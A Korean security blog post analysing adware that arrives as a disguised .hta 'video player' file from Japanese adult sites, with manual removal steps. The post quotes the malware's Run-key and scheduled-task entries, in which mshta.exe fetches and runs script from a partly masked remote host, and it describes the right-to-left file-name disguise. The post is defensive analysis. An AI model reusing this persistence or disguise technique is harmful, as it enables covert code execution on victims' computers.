예약 작업에 등록된 일본 성인 광고 제거 방법 (2014.6.19)

예전부터 일본 성인 사이트를 자주 방문하는 사용자들 중에서 동영상 재생을 목적으로 다운로드한 HTML 응용 프로그램(.hta) 파일을 실행하였다가 반복적으로 생성되는 일본 성인 광고 팝업창 때문에 고생하는 경우가 있었습니다.

hta 파일을 이용한 일본 성인 팝업 광고 주의 (2011.10.29)

mshta.exe 프로세스를 이용한 일본 성인 광고 주의 (2012.12.5)

그런데 이런 일본 성인 광고 팝업창이 근래에는 파일 방식이 아니라 시작 프로그램과 예약 작업 영역에 등록하여 구현되는 방식으로 인해 삭제에 어려움을 겪고 있기에 기본적인 제거 방법에 대해 살펴보도록 하겠습니다.

참고로 국내법 강화에 따라 일본 성인 사이트 상당수 접속시 "불법 · 유해 정보(사이트)에 대한 차단 안내" 사이트(warning.or.kr) 연결로 인해 일본 성인 광고 팝업창 생성이 쉽게 구현되지 않는 부분도 존재합니다.

사용자가 일본 성인 사이트를 방문하여 동영상 재생(動画再生)을 목적으로 버튼을 클릭할 경우 다음과 같은 형태의 파일을 다운로드하는 경우가 존재합니다.

다운로드된 파일은 HTML 응용 프로그램(.hta) 파일로 일본 성인 광고 팝업창 생성 방식에서 변하지 않고 사용되는 대표적인 파일 형태이며, 사용자 입장에서는 실행 파일(.exe) 형태가 아니므로 큰 의심없이 다운로드된 파일을 실행할 수 있습니다.

MovieID_oKpgaK27bGLSmiuA6yGRJGvQfAv6SyX9%E2%80%AEvmw.EI_noisreV.hta (SHA-1 : e8cec646fd450067c9d9ea9777f7ca8d939789ec) - BitDefender : Trojan.Agent.BCUY (VT : 11/54)

HTML 응용 프로그램(.hta) 파일 내부에는 난독화된 VBScript 코드를 통해 다음과 같은 동작이 이루어질 수 있습니다.

HTML 응용 프로그램(.hta) 파일을 실행하면 "C:\Windows\System32\mshta.exe" 시스템 파일 로딩을 통해 특정 서버에서 받아온 정보를 기반으로 Windows Media Player 모양의 화면이 생성되어 재생 버튼을 클릭하도록 유도하고 있으며, 이때까지는 아무런 추가 생성이 이루어지지 않습니다.

사용자가 Windows Media Player 화면의 재생 버튼을 클릭할 경우 특정 일본 성인 웹 사이트로 자동 연결되며, 해당 웹 사이트에서는 다양한 동영상 파일을 무료로 다운로드하여 Windows Media Player를 통해 자동 재생되도록 구성되어 있습니다.

위와 같은 무료 성인 동영상을 제공하는 이유는 사용자에게 맛보기 영상을 통해 유료 결제를 유도하는 것으로 판단되며, 이 과정에서 다음과 같은 일본 성인 광고 팝업창 동작을 위한 등록값이 추가됩니다.

[생성 파일 등록 정보]

C:\Windows\System32\Tasks\RegWrite
C:\Windows\System32\Tasks\SystemBoot

[생성 레지스트리 등록 정보]

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- RegWriteoKpgaK27bGLSmiuA6yGRJGvQfAv6SyX9 = mshta.exe h**p://fau.********.org/set_inf2.php?cccid=oKpgaK27bGLSmiuA6yGRJGvQfAv6SyX9
- SystemBootoKpgaK27bGLSmiuA6yGRJGvQfAv6SyX9 = mshta.exe h**p://fau.********.org/reg2.php?cccid=oKpgaK27bGLSmiuA6yGRJGvQfAv6SyX9&log=1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
- RegWriteoKpgaK27bGLSmiuA6yGRJGvQfAv6SyX9 = mshta.exe h**p://fau.********.org/set_inf2.php?cccid=oKpgaK27bGLSmiuA6yGRJGvQfAv6SyX9
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{A5BCF940-E374-4434-B5EB-0EDF79E436D0}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{CAF7EA5C-2F2C-4FB3-97CE-B456054EC789}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\RegWrite
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\SystemBoot

등록된 레지스트리 값을 살펴보면 Windows 시작시 Run, RunOnce 시작 프로그램 항목에 RegWrite, SystemBoot 등록값을 통해 "C:\Windows\System32\mshta.exe" 시스템 파일을 통해 720*400 크기의 일본 성인 광고 팝업창을 불러옵니다.

또한 예약 작업 영역에 RegWrite, SystemBoot 2개의 작업 스케줄러 값을 등록하여 시스템 시작 후 3분, 10분 주기로 "C:\Windows\System32\mshta.exe" 시스템 파일 실행을 통해 720*400 크기의 일본 성인 광고 팝업창을 불러옵니다.

실제 생성된 일본 성인 광고 팝업창에서는 유료 회원 가입을 유도하는 것으로 보이며, 사용자가 닫기(X) 버튼을 클릭하여도 몇 초 이내에 재생성되어 상당한 불편을 유발하고 있습니다.

또한 Windows 부팅 및 일본 성인 광고 팝업창 생성시마다 시작 프로그램, 예약 작업, 프로세스 정보를 체크하여 광고창 생성을 위한 등록 정보가 삭제된 경우 재등록하는 기법을 구현하고 있습니다.

그러므로 위와 같은 일본 성인 광고 팝업창이 지속적으로 생성되어 삭제에 어려움을 겪는 분들은 다음과 같은 방식으로 제거하시기 바랍니다.

(a) "제어판 → 시스템 및 보안 → 예약 작업" 메뉴를 실행하여 생성된 작업 스케줄러 창의 "작업 스케줄러 라이브러리"에 등록된 RegWrite, SystemBoot 항목을 찾아 삭제하시기 바랍니다.

(b) 레지스트리 편집기(regedit)를 실행하여 다음의 레지스트리 값을 찾아 삭제하시기 바랍니다.

참고로 변종에 따라서는 다양한 URL 주소 및 변수값을 가질 수 있으며, 공통적으로 RegWrite, SystemBoot 값이 포함되어 있을 것으로 추정됩니다.

참고로 "C:\Windows\System32\mshta.exe" 파일(Microsoft (R) HTML 응용 프로그램 호스트)은 정상적인 시스템 파일이므로 삭제하지 않도록 주의하시기 바랍니다.

위와 같은 삭제를 하신 후에는 시스템 시작 후 일본 성인 광고 팝업창 생성 동작은 이루어지지 않을 것으로 판단되며, 변종에 따라서는 예약 작업 및 시작 프로그램에 등록되는 레지스트리 값이 일부 달라질 수는 있지만 일본 성인 사이트 관련 URL 주소가 포함된 형태이므로 쉽게 찾을 수 있습니다.

마지막으로 미성년자가 아닌 성인이 위와 같은 성인 사이트를 방문하는 것은 큰 문제가 되지는 않지만 눈으로만 보시기 바라며 이상한 파일을 다운로드하여 고생하는 일이 없도록 하시기 바랍니다.

728x90

울지않는벌새

예약 작업에 등록된 일본 성인 광고 제거 방법 (2014.6.19)

티스토리툴바